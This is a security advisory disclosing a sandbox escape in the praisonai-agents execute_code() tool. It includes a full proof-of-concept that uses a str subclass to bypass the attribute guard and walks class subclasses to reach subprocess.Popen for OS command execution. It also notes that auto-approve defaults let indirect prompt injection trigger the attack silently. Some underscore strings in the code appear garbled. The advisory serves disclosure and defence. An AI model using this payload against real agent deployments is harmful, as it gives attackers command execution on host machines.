CVE-2026-34938

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safegetattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)

 ```python

source -- safegetattr accepts any str subclass

def safegetattr(obj, name, *default):

    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses

        raise AttributeError(...)

hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword

FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

sink -- Popen reached via subclasses walk

r = Popen(['id'], stdout=PIPE, stderr=PIPE)

### PoC

 from praisonaiagents.tools.pythontools import executecode

payload = """

 t = type

FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mroattr  = FakeStr(''.join(['','','m','r','o','','_']))

subsattr = FakeStr(''.join(['','','s','u','b','c','l','a','s','s','e','s','','_']))

modattr  = FakeStr(''.join(['','','m','o','d','u','l','e','','_']))

nameattr = FakeStr(''.join(['','','n','a','m','e','','_']))

PIPE = -1

objclass = getattr(type(()), mroattr)[1]

for cls in getattr(objclass, subsattr)():

    try:

        m = getattr(cls, mod_attr, '')

        n = getattr(cls, name_attr, '')

        if m == 'subprocess' and n == 'Popen':

            r = cls(['id'], stdout=PIPE, stderr=PIPE)

            out, err = r.communicate()

            print('RCE:', out.decode())

            break

    except Exception as e:

        print('ERR:', e)

"""

result = execute_code(code=payload)

print(result)

expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

```

Impact

 Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAIAUTOAPPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.